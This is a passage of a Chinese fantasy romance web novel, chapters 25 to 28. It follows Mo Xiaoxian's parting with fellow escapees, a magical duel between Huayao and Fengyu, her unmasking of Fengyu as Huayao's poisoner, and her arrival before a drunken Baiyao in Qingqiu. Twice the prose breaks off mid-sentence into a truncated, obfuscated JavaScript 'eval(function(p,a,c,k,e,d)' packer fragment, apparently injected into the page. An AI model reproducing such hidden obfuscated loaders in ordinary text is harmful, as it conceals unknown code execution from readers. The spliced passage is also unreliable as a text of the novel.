武凌抱起双臂面无表情地“嘁”了一声,然后挑了下眉,眼中的怒意消失殆尽,转变为一副淡然的表情:“怎么刚好被你看到了。” 慕小闲摇头说:“不是刚好,我早就盯上你了。一群人逃跑,当然要看好那个犹豫不决、随时可能临阵倒戈的。你的态度太可疑了,不打算解释一下吗?你究竟犯了什么重罪?或者你其实是北溟海极的看守者?” 看守者?云魁、云姬、狒狒倒吸一口冷气,更加不敢相信地看着武凌。 武凌摇摇头:“不是看守者。我......我原本是太上老君的药童,二十多年前在老君殿里协助老君炼制丹药。当年,我误信了一位散仙的话,将他带回了老君殿。他偷走了老君辛辛苦苦炼制了三百年的丹药,还砸了老君的炼丹炉,打伤了殿内其他的神将,让老君上百年的心血付之东流。虽然这名仙人后来被天庭神官捉拿,但我犯下了不可饶恕的罪行,被发落至北溟海极接受惩罚。我需要戴罪立功,维持北溟海极的秩序,是我赎罪的一部分,也是我的任务。希望你们能够谅解。” 难怪他在鲛人恶霸肆意打杀囚犯时会冲在前面制止他,也许这是他任务的一部分。 云魁和云姬目光复杂地望着武凌,难以消化这个事实。云魁一直将武凌当成兄弟,兄弟的隐瞒与欺骗让他非常崩溃,他们分辨不清武凌当初帮助他们是否也只是为了让北溟海极维持表面的和谐稳定,并非真心。 武凌就这么云淡风轻的承认了,慕小闲感觉像是拳头打在棉花上了,有些不太爽。 突然间,云魁冲上来一拳打在武凌的脸上,他握着拳涨红了脸大口喘气,吼道:“你到底有没有把我们当朋友!” 武凌没有躲开,生生挨了一拳连退几步,脸上立刻红肿了一片。 “对不起。”他的神色黯了下去。 “你要是早点说,我们就......就不逃了。”云魁的眼里泛着泪光:“不就是在北溟海极多待几年?我们不是已经一起待了十几年了!没有什么熬不过去的!但是你为什么不早说?为什么?为什么啊!” 云魁一拳一拳砸在武凌身上,拳头丝毫没有留情。 武凌挨了几下,反应过来和云魁扭打在一起。 他们在扭打间滚落在云端,你一拳我一拳仿佛发泄一般,眼睛肿得高高隆起,嘴角也有了血迹。 云姬不敢靠近,在一旁呜呜的哭。狒狒站在身旁,耷拉着眼睛。 两人打累了才分开,武凌跪在云上满脸泪花,嘶吼道:“你不明白!不明白啊......我从小的愿望就是成为一名天庭神官,守护天庭的和谐,但是我居然犯下了如此重罪,我不甘心!我是罪人!我是罪人!啊——”他声嘶力竭地吼着,穿过辽阔的天地之间,声音饱含痛苦和悔恨,竟然让慕小闲的眼眶也跟着湿润了。 武凌痛哭着揪自己的头发,双眼飘忽不定又惊慌失措,像是陷入了痛苦的回忆:“我错了我错了......呜呜......我被骗了我真的是被骗了......我真的不知道我真的不是故意的......我该死!该死!” 云魁上前抱住他的手臂,不让他继续自残。武凌紧紧搂住云魁的手臂,声音喑哑:“相信我相信我......我不想的,我真的不知道......呜呜这些年我很努力,我真的很努力地赎罪了......” 云魁的喉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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云魁看了看妹妹,搂着她说:“我们要去找陷害云姬的人了,就在此别过吧。你们准备去哪儿?” 慕小闲说:“天庭肯定回不去了,先去青丘看看吧......狒狒呢?” 狒狒说:“狒狒要先回花果山一趟!然后再去寻大圣!” “天庭可能还会派追兵,大家万事小心。”云魁说。 这句话说的不符合他年龄的沉重。大家都有自己的生活,也必将归去不同的地方,相逢一场虽然短暂也是有缘。 云魁云姬和狒狒相互抱拳:“再会。”最后再深深地对视一眼,最后一眼将日后回忆之中称之为往昔的伙伴们深深刻入脑海中,然后潇洒地腾云往不同的方向离去,走向了各自宿命的远方。 最后一抹微光即将消散,海上掀起一阵微凉的晚风,吹乱慕小闲的头发,也迷了她的眼睛。再看清时,已经丢了他们的身影。 “英雄,我要怎样才能去青丘?”慕小闲问。 白衣望着天边说:“会有人送你去的。” “谁?”慕小闲奇怪的问。难道又要去找土地公公? 白衣停顿了一下,说:“我要走了。我们还会再见的。”没等慕小闲反应过来,“嗖”地一声化作一道光影迅速消失在她眼前。 用不用这么着急啊?慕小闲目瞪口呆:“少侠好功夫啊。”但是他居然把她就这么丢在海上,她要怎么去青丘啊? 天边遥遥传来一个熟悉的声音,语气明显带着一丝别扭:“哎呀,看来有人捷足先登了呢!” 26. 华尧的挽留 逆着残阳,一个橘红色的人影从天边一点一点靠近,眉目渐渐清晰。他眉毛轻挑,眼尾上扬,一把印着云雾飞鸟的扇子在胸前扇得飞起,足以看出他被人捷足先登内心有多么不爽。 待他靠近,慕小闲踏上他的祥云,一把夺过他的宝贝扇子,狠狠敲打他的脑袋! 凤钰抱着头在狭窄的云上躲闪:“哎哟!别打!你知道我扇子多贵吗?打坏了怎么办?哎呀,我的腰!腰啊啊扭了啊啊!” “打的就是你。你跑哪儿去了?怎么才来!我差点死在海里了!”说起来就委屈。 凤钰拦住慕小闲的手,难得正经地沉下脸问:“怎么回事?” 慕小闲哼哼两声:“北溟海极有个恶人,不过走的时候教训过了。不提了。” “那就好,要是他没受到惩罚,小爷我也是要去灭了他为你讨个公道的!我可怜的小闲闲,几日不见都瘦了!”凤钰挤出了一个讨好的笑容。 “春桃宴那日你跑得倒快,我被一众神官围攻的时候你去了哪里?现在又来干什么?”慕小闲生气地扭过头。 “我冤枉呀!我就是去了趟茅房,回来就变天了!我在天庭无依无靠,费了九牛二虎之力才打听到你在这里,一知道我立马就赶来了。你看我鞋子都还没换,我这不是赶来救你的吗!”凤钰边说边还撩起裙角,露出了春桃宴小仙女专用绣花鞋。谁知道他是不是自己喜欢得紧所以舍不得换的? “你最好是。”慕小闲斜眼瞥了他一下:“现在天庭什么情况?华尧醒了吗?” 凤钰凑在她耳边说:“春桃宴才过去三日,凶手是没抓到。不过白瑶回青丘取了解药给华尧服下,然后把他抬回鎏华殿休养去了。我可是一心想着要来找你,没管他醒没醒。以华尧的修为,这点毒性顶多卧床几日,不会有事的。” 北溟海极时间走的比外面快,她在北溟海极待了有十来天,外面竟然只过了三日。难怪凤钰和华尧都没赶来救她,但是那个白衣为何出现得这么快?难道那日他就在宴会之上? 凤钰“啪”地打开扇子,在胸前装模作样地扇了扇:“白瑶这次伤心坏了,说回去之后要放把火把青丘的枯血草全烧了。啧啧啧,这落花有意随流水的姿态,真是做足了样子,就是不知流水是个什么意思~” 慕小闲想也不想脱口而出:“她对华尧倒是情真意切。” 凤钰听出来有些不对劲,他眯了眯眼睛,嘴角含笑:“哟,这话听着,我怎么感觉牙有些酸啊?” 慕小闲瞪了他一眼:“牙不好就别抢别人的青梅了。” “哎,小爷我长的也是风华绝代,怎么就没人惦记我呢?”他失望地看着慕小闲,仿佛在控诉瞎了她的狗眼。 “我只是觉得奇怪,她早不烧晚不烧,出了事儿烧,像是掩耳盗铃。” 凤钰没接这句话,露出意味深长的笑容,仿佛在说:解释就是掩饰,掩饰就是编故事。来来来,你随便编,信了算我输。 慕小闲冷笑着挑了下眉。 凤钰感觉气氛不妙,赶紧换了个话题:“不过,你也算是大闹过天庭的人了。真是不得了啊!” 慕小闲脑子里面好像有根弦被轻轻拨动了一下,她非但没有害怕,反而眼睛一亮,冒着兴奋的光问:“那是不是会有人给我写传记了?” 凤钰:???你在想什么? 慕小闲秉着“天地之大岂能没有我容身之处”的信念,跟凤钰说她要躲去青丘找晏离。凤钰的脸上出现了一丝僵硬,扯着嘴角神游天外,仿佛很不想提起这个封印他上万年的地方。但是回天庭无异于自投罗网,魔域不如不提,她现在貌似只能先去青丘躲躲。 凤钰驾着他泛着淡淡橘光的祥云悠悠地往南飘,天色暗了又亮,星月在夜色中被点燃又在白昼来临之际熄灭,他们落在天庭南部的某处云端。 “从天庭去青丘躲不过神官的耳目,你又是从北溟海极逃出来的,所以不能走寻常之路。”凤钰眼底含笑,却让慕小闲察觉出些许诡异。 “所以,我要带你去一个天庭发现不了的秘密通道!” 凤钰抬腿就要往前去,脚未落地,忽然动作一顿,眉头蹙起,一闪身飞入半空中。 下一秒,一道光球飞速落下,直直砸在他刚才站的地方,砸出了一个大坑。 坑外不到两米的慕小闲吓得一蹦三尺高。 凤钰“唰”地打开扇子,嘴角还是扬着不正经的笑,但眼里多了一丝警惕:“没想到这么快就找到了。” 半空中突然闪现一个健硕的人影,裹着金丝镶边的青黑色长袍,面色苍白,周身凝聚着一股压抑的气息。 看到他,慕小闲没出息地腿软了一下。 “尧尧,你居然对我下这么重的手,如果不是我躲得快就要香消玉损了。你舍得吗?”凤钰拿着扇子扇啊扇,脸色悲痛。 “你们要去哪儿?”华尧没有理他,嘶哑低压的声线好似极力维持着暴风雨前的宁静。 “我们当然是要私奔呀。”凤钰的表情恢复了不正经的样子,眨了眨眼睛,饶有兴致的看着面色不善的华尧。 慕小闲:???你就不能好好说话吗? 华尧的目光挪到慕小闲身上,幽黑的眼眸翻涌着意味不清的神色,仿佛在控诉她冷漠无情、忘恩负义、不告而别,愣是让慕小闲生出了一种匪夷所思的罪恶感。 他身上的寒气更甚:“他说的是真的?” 慕小闲讨好似的摆摆手:“不是不是,华尧你怎么样了,感觉好点儿了吗?”华尧冷哼一声,似乎在回应她的问题,也像在讽刺凤钰胡说八道。 他降落到她面前,向她伸手。慕小闲下意识缩了一下头,就见华尧眼里闪过一丝不自然:“你怕我?” 慕小闲赶紧伸长脖子,一副要英勇就义的样子:“不!你来吧!随便摸!” 华尧顺着她看下去,脸上泛起一丝红晕。他收回手,咳咳两声:“跟我回去。” 慕小闲没有迟疑:“我回去会给你添麻烦的。对了,那天不是我下的毒,我什么也不知道。” 华尧眼神闪烁:“我知道不是你。”他补充道:“如果你是怕天庭捉拿你,我可以和天帝解释。” “不只是这件事。”慕小闲眼神飘忽不定,看看这儿看看那儿,视线被华尧挡住:“你在想什么?” 她抬起头坚定地说:“华尧,我不能一直受你庇佑。我要学习仙术,我要变得强大起来,我不想任人宰割了。” 华尧微微蹙着眉:“我能保护你。你不需要学仙术。” “授人以鱼不如授人以渔。我要在天界活下来,就不能一直依靠你。何况,你不是和白瑶有婚约吗?我也不能一直住在你那里占用她的地盘吧?” “......” 慕小闲看华尧没有反驳,心里有些怄气:“我可以走了吗?” 华尧紧紧地盯着她,想分辨她说的是真是假。难道他的住所对于慕小闲来说就只是个暂时的栖身之所吗?她凭什么想住就住想走就走? 虚弱的身体一晃,喉头泛起一阵酸涩。 慕小闲不明所以,径直向凤钰走了过去,路过华尧身侧时,他突然抓住她的手臂腾空而起。 慕小闲一愣,随即大喊:“你是专门来抓我回去的?凤钰救我!” 凤钰拦在他们离去的路径途中,凤眸眯了眯:“华尧你这样做有点不地道啊。” “让开。”华尧一挥袖,扬起一道气流直冲向凤钰的面门。 凤钰眼神一凌,收起折扇,一晃身用扇柄将气流斩断。斩断的气流从他身体两侧劈过,他橘红色的衣袖随着气流摇曳,像一团燃烧的业火。 “真的要打吗?”凤钰理了理吹散的头发,身姿看似懒散,实则浑身已经进入戒备。 华尧将慕小闲往下面一丢,慕小闲在云团上滚了几下才停下来,骂道:“你就不能怜香惜玉一点吗?” 华尧和凤钰都没有理会她,而是身体紧绷观察着对方。 终于华尧的暴脾气按捺不住,手里积聚的光球越来越大,周身带起一阵旋风。方圆几里的气流形成一股漩涡,慕小闲在下头被气流压制得倒退几步。 华尧手持光球飞身上前,身手利落,丝毫没有留任何情面。 凤钰此时收敛了表情,薄唇紧抿,一双上挑的丹凤眼居然显得有些冷沉。他握着折扇“啪”的打开,上面的桃花发出点点莹光。他握着折扇张开手臂,侧身大幅度地一扫,一股火团在空中爆裂开,火星四溅。 光球朝着凤钰飞去,火团在空中与之相撞,两股力量互不相让,“轰”的一声炸成了烟花。 火光滔天,霎时间天边的云彩像被点燃一样通红,周围温度陡然上升,灼烧感爬上脸庞。 慕小闲抬头望着他们,温热的气流扑面而来,眼前的景象晃的她睁不开眼睛。凤钰平时看上去不着边际,但这御火的实力不容小觑。 一击未中,华尧的双手上又出现了两团刺眼的光球,这次的光球有篮球大小,周围缠绕着高速旋转的气流。 好快! 两股光球交错着犹如咆哮的猛虎长着血盆大口咬向凤钰。凤钰一扬扇,面前出现一道燃烧的血色屏障,屏障上燃烧着熊熊烈火,犹如叫嚣的凤凰。 光球撞上血色屏障渐渐被火花融合进去,屏障竟然丝毫不受影响。 “尧尧,你还需要修炼呀。”凤钰在屏障后面娇嗔,嘴角又勾了起来,看上去很得意。 “闭嘴!“华尧愤怒的大吼,扬手对准血色 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一阵盘旋而上的气流凝聚成了四个飓风眼围绕在华尧四周,华尧轻哼一声,抬起的手掌上出现了淡金色的光球。 凤钰一抬手,四个飓风眼飞快地向华尧袭去。华尧不甘示弱,手上的光球一个一个砸向飓风眼。光球在飓风眼之中爆发出淡金色的光芒,像暴风雨时藏匿于云间的闪电。 “呲喇”“呲喇”爆炸的光球越来越多,飓风眼还在往华尧靠拢。 华尧的头发在风中飞舞,他皱着眉头粗重地喘息着,眼睛里尽是烦躁。 他刚从枯血草的剧毒中解脱,身体尚未完全康复,刚才的打斗已经耗费了他许多心力。他手上的光球并非取之不尽,每一颗都会消耗他的精力。 有两股飓风眼在光球的冲击下速度渐渐慢了下来,还有两股依然十分坚/挺。上古神兽的名号不是随便说说,凤钰这没有章法的出招方式,华尧似乎非常吃力。 华尧向后飞掠,两股飓风眼随他而去,速度很快,但是已经没有最初形成时的嚣张气焰。 终于飓风眼在华尧跟前崩裂,巨大的冲击将华尧逼退十几米。黑袍被气流划出了几道裂痕,露出了内里的白色底衬。凌烈的气流在他脸上留下一道划痕,血丝渗出来,衬得整张脸愈加苍白阴森,像从地狱爬出来的鬼魅。 两人悠悠落地,周身还有剑拔弩张的气氛,仿佛对方稍有异动,又会冲上去杀个你死我活。 华尧不强吗?不是。凤钰是上古神兽,比华尧年长十几万岁,平时游戏天界,天庭、青丘、魔域的法术都有涉猎。吸收天地精华,集百家之长,天地间能在他手上过三招的人屈指可数。更何况,此时华尧中毒后尚未痊愈,败了并不丢人。 只是......只是前有符鸣上神成功封印了凤钰上万年,这件事情就变味了。 华尧年少气盛,之前大大小小的战役中鲜有失利,如今败给凤钰,气得连咳几声,眼睛都涨红了。 慕小闲见状,上前讨好似的赔笑,安慰华尧道:“没事没事哈,胜败乃兵家常事,常在河边走哪有不湿鞋。等你到了凤钰的年纪,你也可以那么强。只要活得比他久,一定可以超越他!” 两边异口同声地传来:“闭嘴!” 华尧闭上眼睛深吸几口气,睁开眼睛,眼底恢复了平静,对慕小闲难得温和地说:“真的不跟我回去?” 慕小闲瞪大眼睛警惕地摇摇头。 华尧的目光变得幽深复杂,盯着她看了半晌,沉声骂了句:“白眼狼。”然后撇开眼眸,似是无奈地叹息着说:“你走吧。” 华尧这副黯淡的样子莫名引人心疼。慕小闲看看他,侧头咬着嘴唇思量了一会儿说:“谢谢你,华尧。你是我升天之后见到的第一个神仙,平日里虽然没给我好脸色,但也算对我仁至义尽了。我会记住你的好的。希望下次见到你时,我已经能独当一面了。” 华尧心想“我哪里没给你好脸色”,话到嘴边却变成:“你准备去青丘?” 慕小闲点点头:“我觉得我应该出去历练历练。” 华尧不再多说什么,摆摆手示意让她快滚。 慕小闲多看了他一眼,走到优哉游哉的凤钰跟前说:“走吧。” 凤钰点点头,没有再看华尧,拎着她继续往南飞去。两人并肩而行,如同天外飞仙。身后,华尧觉得此情此景甚是刺眼,让他本就虚弱的身体离崩溃又近了一点。 慕小闲飞出去数十米,听到身后飘来一声轻唤:“慕小闲......”声音平淡却似包含了千回百转的心绪。 她心里一紧,仿佛快要感同身受,但那种说不清道不明的感觉一涌上心头很快就烟消云散了。 27. 春桃宴真相 南天门庄重威严,玉柱雕着盘龙在琉璃金顶下明灿耀眼。斜斜的阳光,将玉石牌匾映在如雪般的云朵上,一切纯净如初,让慕小闲回想起刚升天时的景象。 天庭,这里就到头了。 凤钰撩起裙角,蹲在南天门旁,观察了一下南天门的柱墩,起身莞尔一笑:“就是这里!” 慕小闲看着凤钰打开扇子,在她眼前对着南天门柱角一挥。青天白日之下,柱旁陡然出现了一个幽黑的大洞。洞里深不见底,看不见一丝光亮,细听还有水流潺潺的声音。 慕小闲扯了扯嘴角:“你说的密道该不会是这个吧?” 凤钰的扇子在胸前扇得欢快,笑着说:“这个密道可是直通青丘!路上绝对不会被天庭的人发现!” 慕小闲往黑暗深处望了一眼,心想我信了你的邪。 凤钰扇子一挥,凭空变了一只小木舟搁浅在洞口,优雅地做了个“请”的动作。慕小闲扶着他的手颤颤巍巍地跨进木舟,然后回头看他。 凤钰松开手,扇着扇子站在原地,笑盈盈地望着她。 慕小闲:“你该不会让我一个人去吧?” 凤钰微笑着点点头,一双凤眸美目盼兮,看不出一丝心虚。 慕小闲神色复杂地看着他嬉笑的脸许久,挑了下眉:“你害我被关进北溟海极,不想解释一下吗?” 凤钰听到她的话,手中扇扇子的节奏缓了一下,神色却未曾改变,依旧眼角含笑:“你是说因为解开我的封印,害天帝冤枉你是魔族了?这也不是我想看到的,我给你赔个不是。” 慕小闲盯着他缓缓摇了摇头:“我说的不是神官的污蔑,而是华尧中毒。” 凤钰眼神顿时有些不自然:“什么意思?” 慕小闲轻哼一声,原本她还想多观察一阵子,但凤钰这厮却是不给她机会了。“在北溟海极时,我回忆了很多遍春桃宴当日的情景,也做了很多假设。一开始,我觉得青丘之主白瑶的嫌疑是最大的。” 她的脑海里开始走马灯似的变换当日的人物和动作,宴席在场的一张张脸浮现于眼前,每一张脸下似乎都隐藏着秘密。大家嬉笑怒骂的表情变得阴森扭曲,就像是带着一张张僵硬的面具。 她舔了下唇,思忖道:“华尧中毒,嫌疑最大的是他身边来路不明的我。如果下毒之人是白瑶,这一举无疑可以借机除掉我,还能捞上美人救英雄的美名,说不定华尧也会因此对她感恩戴德,立马将迎娶她的事提上日程。此举对天庭与青丘之间的关系有益无害,实在是一箭双雕!” 凤钰听得很入神:“然后呢?” “但是这件事的受益人太过于明显了。我能想到,天庭参与春桃宴的诸位神官难保不会想到,制造这种伤害天庭神官的事件,最终说不定会让天庭对她埋下忌惮的种子,被人抓到把柄。这种踏错一步便难以挽回的事情,她不见得会做。” 凤钰接话:“也不见得不会。” 慕小闲点点头:“是的。但是天庭众仙各有神通,难保不会有仙人能解枯血草的毒。如果是她下毒,应该会随身携带解药,避免解毒的好事最终被别人抢了先。这样她的计划效果就会大打折扣了对吧?” 凤钰脸上嬉笑之色有所收敛,扇扇子的动作慢了许多,眸中神色微凝,似乎在跟着慕小闲的话慢慢思索。 “她不仅没将解药带在身上,还很着急地赶回青丘。这样一来可以体现出她对华尧这个未婚夫的情真意切,二来也间接证明了她没有参与这件事。或许她也想到了这一点,所以才会立刻拂袖而去。” “如果下毒之人不是白瑶,那会是谁呢?”慕小闲抬眼直勾勾地盯着凤钰:“不好意思。因为我在天界认识的人实在有限,所以当日在场的人之中,我第二个就想到了你。 “你被封印在青丘,获得枯血草是轻而易举的事情。我甚至怀疑,在我解开封印之前,你是否已经能自由活动了?我的出现不过是你等待的一个时机?” 凤钰耸耸肩,对此不置可否并示意她继续往下说。 “那日你混入跳舞的仙女之中,也是为了借机下毒。在华尧中毒之后,你立刻就抽身离开了会场。” 凤钰听到这里,第一次打断了慕小闲:“如果我真的想要华尧的命,为什么住在鎏华殿时不下手?那时无人能阻止我,不是更加神不知鬼不觉?”这个问题是她当日在大殿之上质疑符鸣的说辞,也是她思来想去,逻辑上一直解释不通的地方。 慕小闲停顿了一下,心中一个猜测渐渐浮出水面:“因为你并非想要他的命。” 凤钰一怔,彻底停下来了扇扇子的手。 “如果你并不想要他的命,一切就可以解释得通了。或许你并不知道魔气对他到底产生了多大的影响,所以特意选择了白瑶在场的时候。就算她没有来,也会有其他厉害的神官想办法救他。春桃宴真是个既能伤害华尧,让天庭产生忌惮,又不会要了华尧性命的好地方。我猜......或许你跟他的恩怨并不需要拼个你死我活。又或者他还有用,你需要留着他?至于魔气......”慕小闲突然沉默下来,她来天庭的时日尚短,对魔气是何物并不了解,也无法判断华尧究竟是如何沾上的。 “虽然我不知道华尧是何时何地如何沾上魔气的,但若是想,总会有办法的不是吗?” 凤钰张了张口,想说什么又咽了回去,最后无奈地说:“应当是在天街的时候发生过什么吧。”他垂眸视线落在慕小闲腕上的玉镯上:“看到这只玉镯的时候我就明白了,你应当已经见过他了吧。” 慕小闲一愣,举起手仔仔细细地看了看光洁剔透的玉镯:“那个紫衣男人是魔族?就是那时趁乱将魔气留在了华尧体内?” 凤钰淡笑着点点头:“我算准了一切就是没算上你。你这小脑袋一天到晚都在想什么?还好没给你留下证据。” 慕小闲收回手,深吸一口气抱怨道:“我可是被你害惨了,你事先计划中有北溟海极这一环吗?” 凤钰摇了摇头:“知道你被关起来,我可是立马就赶过去了,我对你的情义天地可鉴、日月可昭啊!” 慕小闲显然对这个回答很不满意,她皱着眉头说:“就这样?” 凤钰感觉到一丝寒气从脚底爬上来,居然一路窜到了他的颈椎,让他浑身一颤。不妙,小闲闲貌似要发火了。 “呵......”慕小闲眯起眼睛,一脚踩在搁浅的船沿上,脸色越来越沉。 凤钰“啪”的一声收扇,喉结上下一滚,蹙着眉头似乎在做一个非常艰难的决定:“对不起,是我不对。下次见面,我会送你一个宝贝。真的。绝对是稀世珍宝!” 慕小闲语气不善:“能上天庭“我最想要法宝”排行榜前十的那种?” 凤钰狠下心点点头,一副要了他老命的样子:“能上!绝对能上!” 杀气在一瞬间撤离,凤钰长舒一口气。 既然凤钰承诺了有宝贝拿,慕小闲也没必要多做纠缠。不过这件事情疑点颇多,比如她一直和华尧、凤钰共处一室,居然没发现他们之间暗潮汹涌。 “为什么给华尧下 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凤钰人畜无害地眨眨眼睛:“我也有我的立场呀。” 慕小闲懒得追问,天界的恩恩怨怨她不想参与,她只想安安稳稳地活下来。 “是时候该走了。祝你一路顺风。”凤钰上前准备送船离开,慕小闲突然抬手制止了他,眼中略微迟疑:“等等,因为你骗了我,所以有件事情我一直没说。” 慕小闲舒了一口气,不知该从何说起,这源自她的另一个猜测。 “我遇到了一抹残魂。”慕小闲盯着凤钰一个字一个字说:“他很强,而且对这个镯子有反应,你知道他是谁吗......” 凤钰的眼睛睁大,瞳孔微缩,嘴角的笑容逐渐消失。 一阵疾风而过,他突然飞扑上来,抓住慕小闲的肩旁,颤声问道:“他在哪里!” 慕小闲从没见过凤钰这么失态的样子,脖子向后缩了缩,迟疑道:“在北溟海极。不过,我走之前他就已经离开了。” 凤钰放开慕小闲的手臂,摇摇欲坠地退后几步。 此刻,他一直掩藏在重重伪装之下的情绪,浓厚、深沉的惨淡与悲凉,终于如同抽丝剥茧一般渐渐从眼底泄出。他蹙着眉,身体微微颤抖,目光落在慕小闲的身上,仿佛穿过她在看别的什么人。 慕小闲心里一颤,有些担忧地看着黯然失色的凤钰:“我不是故意不说的,他对你......很重要吗?” 凤钰闭上眼睛叹了口气,睁开时眼底的疯狂已经褪去,只是眼睛里充满了压抑的红血丝:“没事。这不关你的事。” “他......是什么样子的?”凤钰艰涩地问。 “他魂魄不全,记不清事情,整天浑浑噩噩的。” 凤钰垂下眼眸,如帘的睫毛轻颤,掩去了他眼中的神色,他又将自己包裹了起来。 良久,他缓缓伸出手用喑哑的声音道:“走吧,到了那边小心为上。珍重”他手上微微发力,慕小闲所乘的小舟自动向前划去,她渐渐融进了黑暗之中,最后一丝光亮在她眼前慢慢缝合。 “珍重。”慕小闲轻声说。 在裂口合上的一瞬间,凤钰立刻抽身离去。 南天门恢复了平常静默的样子,依旧庄严肃穆,气势雄伟。偶尔几位仙家匆匆路过,也不会多做停留。 谁也不知道这里隐藏着一条隐蔽的暗河通向青丘,而暗河汹涌,通向的未知之地是否也同样暗藏玄机? 28. 第 28 章 暗河阴冷潮湿,"哗哗"水声更加突现了诡异的阒静。 黑暗,像一张巨大的网,无边无际,不知道哪里是终点。是以小舟发出淡淡的微光,身后划过长长的水波,尚能感知到它以稳定的速度前行。 只是不知已经过了多久,到了哪里? 慕小闲稍一回忆先前发生的事情,便发觉凤钰其人果真经不起推敲。就像面前这条漫长的暗河,或许能称之为避人耳目通向青丘的捷径,但,一定还有更加安全舒适的途径。可是现在说这些有什么意义?已经上了贼船,没有退后的余地。 暗河不停地向前延伸,不知前方是何方。 慕小闲抱着手臂蜷缩在小舟里浑浑噩噩,眼皮沉得快合上又不敢睡着。 过了许久,小舟靠在水中浮起的石墙边,沿着墙缓缓地滑行。墙另一侧透过来缥缈如纱的亮光,约莫快到目的地了。 那一头传来一阵窸窸窣窣的声响,静默几秒,突然从高空跃出一个黑乎乎的东西“咚”地一声砸在小舟的另一头,把慕小闲翘起老高。 慕小闲被这突如其来的人影吓了一跳。在她犹豫了一秒后,猛地扑过去推开那人,低头摸了摸船板,检查小舟有没有被砸出个窟窿。 “来人呐!抓刺客!”墙那头传来一声惊天尖叫。慕小闲望着黑衣人愣了,半晌,她指了指自己,摆出了一个疑惑的表情。刺客是在说她吗? 黑衣人果断摇了摇头。慕小闲恍然大悟,跳到另一头,神情笃定地指向黑衣人。 黑衣人没有理她,冷沉的目光落在石墙上,静静听了一会儿墙对面的动静,突然踩上船沿,跃入水中。他“咕咚”一声沉了下去,幽黑的水面泛起圈圈涟漪,继而恢复了平静。 搞什么?这样就逃了? 等等……他逃跑了…… 慕小闲看着漫过墙沿的火光,意识到大事不好! “快!抓住它!” 岸边围满了举着火把的侍卫,慕小闲被五花大绑推上岸。 “我不是刺客。你看我这手无寸铁的样子像是个刺客吗?”慕小闲在心里翻了个白眼,她一身鲜艳的裙衫,无半点缚鸡之力,哪里像是刺客。 侍卫虽也觉得不对,但这女子没有既没仙气又没妖气,还独身一人出现在暗川中,委实可疑。 “此事非同小可,等见了殿下,由她定夺。”几名侍卫不顾慕小闲的挣扎,蒙住她的眼睛将她带了好长一段路,终于停了下来。 “启禀殿下,刺客行踪诡异,属下赶到时他已水遁。但是在附近发现了这个可疑人。”侍卫的声音沉闷地在慕小闲耳边响起。 不多时,头上的遮盖物被扯开,慕小闲被人推搡向前,眯着眼睛一看。 昏暗的大殿被几只烛台点亮,在大殿之上摆着一张流光四溢的长椅,扶手与椅背上雕刻的非龙非凤,而是某种大型动物。 女子柔软的身姿半倚在长椅上,及地黑裙尾部盛放着栩栩如生的鸢尾花,娇艳得像要渗出血一般。 垂散的黑发顺着白皙的肩头滑下,挡住了半边娇小的脸,在脸侧、肩颈落下了一片旖旎的暗影。 她微闭着眼,长长的睫毛随着呼吸轻微煽动,红唇紧抿,白皙透亮的脸颊泛着不寻常的红晕。 慕小闲辨析了好一会儿才恍然确定,这个女子,居然是白瑶? 在天庭时,她如出水芙蓉,纯洁无瑕,春桃宴上无人能超越她的光辉。而此时,她慵懒中带着一点阴郁与颓废,眼角居然染上了一丝邪气,依旧美得动人心魄。 她缓缓睁开狭长的媚眼,幽幽看了眼慕小闲,眼神平静无波,像是在看毫无干系的陌生人,语气不带任何感情地说:“擅闯青丘,杖责五十大板,打入水牢。”声音也不似之前清亮,而是细若游丝,勾人魂魄。 又不太像白瑶。 侍卫听令要将慕小闲带下去行刑,慕小闲见状大叫:“白瑶!你是白瑶吗?我是慕小闲啊!我们在天庭的春桃宴见过的!” 侍卫一听春桃宴,犹犹豫豫不敢上前。 白瑶的目光平淡地落在慕小闲身上,默了几秒,眼神依旧没有丝毫变化,冷冷地说:“不认识。” 五十大板这是要她死啊! 侍卫拖着慕小闲往殿外去,她不停地挣扎道:“白瑶,你再仔细想想!我认识华尧上神!我是华尧上神的仙侍!” 白瑶的目光不太清明,她微微凝眉,好似对慕小闲的喊叫有些迟疑。 “等等......”白瑶从长椅上直起身,拢了一下快要从肩头滑落的袍子,晃晃悠悠地从台阶上走下来,乌黑的长发落在她胸前。长裙在她身后拖着,随着她一路从台阶上滑下来。她没有穿鞋,白皙的小脚踩在大殿的红毯上,显得娇小可爱。 侍卫们纷纷低下头,不敢看她。她走到慕小闲跟前,伸出洁白如玉的手臂,掐住慕小闲的下巴,眸子里弥漫起一层朦胧的水雾。 慕小闲浑身冷汗直冒,眼前这个女人和那日在春桃宴见过的仿佛不是同一个人。 白瑶加大手劲儿,失了分寸,掐红了慕小闲的下巴。她细细打量慕小闲半晌,眼波微动,勾起唇角说:“啊,我记得你。” 扑面而来的是一股浓郁的酒气。 慕小闲眼前一亮,抓紧机会说:“你喝酒了?你再好好看看我是谁?我们之前见过的......” 白瑶松开慕小闲的下巴,站起身示意侍卫放手:“你怎么来这儿了?华尧让你来的?他好点儿了吗?” 慕小闲站起身掂量了一下,白瑶与华尧有婚约,如果说是华尧让她来的,不知白瑶会不会给她三分薄面?不过他们既然已有婚约,自己又在华尧府上待了数日,总归是要避避嫌的。 “天庭的神官多看我不爽,觉得我一升天就到处惹事生非。华尧中毒后身体虚弱,无法给我保障,放我自行离去。天庭我是待不下去了,眼下只能来青丘碰碰运气。还望青丘之主多担待。” 白瑶歪着头,眼神迷离地看着她,似是酒醉未醒,不知听进去了几分。她迷蒙的眼神落在慕小闲的脸上,似乎陷入了某种回忆之中。好一会儿她才回过神,退了半步四下望了望,眼里闪过一丝手足无措,无辜的神情像一只惊慌的兔子。 她这是喝了多少啊?怎么醉得连气质都变了? 白瑶蹙起眉头,左右张望,像在寻找什么人,眼里的水雾像随时要化作浅雨落下。 一旁的侍卫抱拳打断:“殿下可是在找苏先生?苏先生今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 